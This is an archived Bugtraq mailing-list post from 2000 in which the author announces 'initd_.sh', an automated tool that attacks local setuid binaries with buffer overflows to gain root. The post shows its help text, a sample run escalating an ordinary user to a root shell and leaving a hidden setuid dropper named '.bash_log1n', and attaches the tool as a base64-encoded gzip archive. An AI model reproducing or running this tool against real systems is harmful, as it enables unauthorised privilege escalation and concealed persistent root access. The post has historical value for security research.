[16569] in bugtraq
New Tool: initd_.sh;
daemon@ATHENA.MIT.EDU (za@boo.ma.fu)
Tue Sep 5 02:38:44 2000
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="------------62BF1BFA59524577D0379239"
Message-ID: <39B481DA.72F86093@digital.net>
Date: Tue, 5 Sep 2000 01:17:15 -0400
Reply-To: initd_@digital.net
From: "za@boo.ma.fu" <initd_@digital.net>
X-To: VULN-DEV@SECURITYFOCUS.COM
To: BUGTRAQ@SECURITYFOCUS.COM
This is a multi-part message in MIME format.
--------------62BF1BFA59524577D0379239
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
/*** Attachment did not send... resending (sorry for the bulk) ***/
Heyas ;)
I wrote this tool in the last couple of days to see if I could
actually implement
a program that would automatically attack local binaries and attempt to
find exploits
in respect to buffer overflows via command line switches.
Despite the script's simplicity I do believe it is a powerful tool
that will aid in securing
any Linux box although I refuse to blindly advertise this as an end all
be all to local
security. As I note in the readme there are numerous discrepancies that
limit the
programs strength, however, _most_ (if not all) of these issues will be
resolved in
upcoming releases of this program.
Instead of explaining the entire process and capability I'll just
paste the --help
output at the end of this message. Also I'll paste an example usage for
fun ;D
This program is a first of its kind as far as I know ;) I'm pretty
excited to see the
response I get from the community.
Portability to as many operating systems as possible will be
integrated asap,
however it will take a week or two as I am generating the configurable
shellcode
myself (something I have never done before at this level).
Anyway, I hope you enjoy this beta release!
Sincerely,
initd_
initd_@digital.net
0x7F Security Research
Restless eyes and erratic blue flicker
While devilish fingers dance and slither
The sound of electricity, relentless, hums....
....When something wicked this way comes
- initd_'s verse >;)
---- Help Output ----
seychelles.initd_ % ./initd_.sh
Note: For further explanation on switches consult documentation
usage: initd_.sh [options]
options:
-t filename Define the target binary as 'filename'
--min_buffer int Define minimum buffer size as 'int'
--max_buffer int Define maximum buffer size as 'int'
--jmp_buffer int Define buffer increment value as 'int'
--min_offset int Define minimum offset size as 'int'
--max_offset int Define maximum offset size as 'int'
--jmp_offset int Define offset increment value as 'int'
--tmp_dir dir Force all tmp files to be written to 'dir'
--rsd_dir dir Force the RSD directory to be 'dir'
--rsdct_dir dir Force the RSDCT directory to be 'dir'
--et_dir dir Force the ET directory to be 'dir'
--uid int Force user id of target binary to 'int'
--gid int Force group id of target binary to 'int'
-n Do not query program for command line switches
-s switches Pass a quoted string of switches to test
-q Switch messaging to quiet mode
-v Increase program verbocity (3 levels max)
--help | -h Display program usage
Send comments/questions/bugs to: initd_@digital.net
0x7f Security Research Team: Dangerously Deadicated. . .
--- EOHelp ---
phoenix.initd_ % id
uid=1000(initd_) gid=100(users) groups=100(users)
phoenix.initd_ % ./initd_.sh -t ../../../INITD_2000.08.24/ex
--min_buffer 1024 -v -v -v
#
# initd_.sh
# Automated Exploitation Tool v0.0.3
#
# 0x7f Security Research: Something Wicked This Way Comes...
#
[+] Target Confirmed
[+] Binary is not stripped
[+] Strip has been located. Exploit stealth has increased
[+] Confirmed temp directory
[+] RSD Directory confirmed
[+] Configuring for a Linux system on a i586 chip
[ ] Owner of target is root
[ ] Group name of target is root
[+] User id # determined to be 0
[+] Group id number determined to be 0
[ ] Creating the Root Shell Dropper
[+] RSD Creation Successful
[ ] Creating Root Shell Dropper Configuration Tool
[+] RSDCT Creation Successful
[ ] Creating Exploitation Tool
[+] ET Creation Succeeded
[ ] Current Switch: -s
[ ] Current Buffer Size: 1024
[ ] Current Offset: -100
[ ] Current Offset: 0
[ ] Current Offset: 100
[ ] Current Offset: 200
[ ] Current Offset: 300
[ ] Current Offset: 400
[+] Executing Cleanup
[+] Cleanup Complete
[ ] Welcome to the Dark Side
sh-2.02# id
uid=0(root) gid=0(root) groups=100(users)
sh-2.02# exit
exit
phoenix.initd_ % ls -la
total 38
drwxr-xr-x 2 initd_ users 1024 Sep 5 01:05 .
drwxr-xr-x 4 initd_ users 1024 Sep 5 00:31 ..
-rwsr-sr-x 1 root root 3192 Sep 5 01:05 .bash_log1n
-rw-r--r-- 1 initd_ users 9863 Sep 5 00:30 Readme
-rwxr-xr-x 1 initd_ users 21313 Sep 5 00:22 initd_.sh
phoenix.initd_ %
---EOF---
Enjoy ;)
--------------62BF1BFA59524577D0379239
Content-Type: application/x-gzip;
name="initd_.tar.gz"
Content-Transfer-Encoding: base64
Content-Disposition: inline;
filename="initd_.tar.gz"
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
AAA=
--------------62BF1BFA59524577D0379239--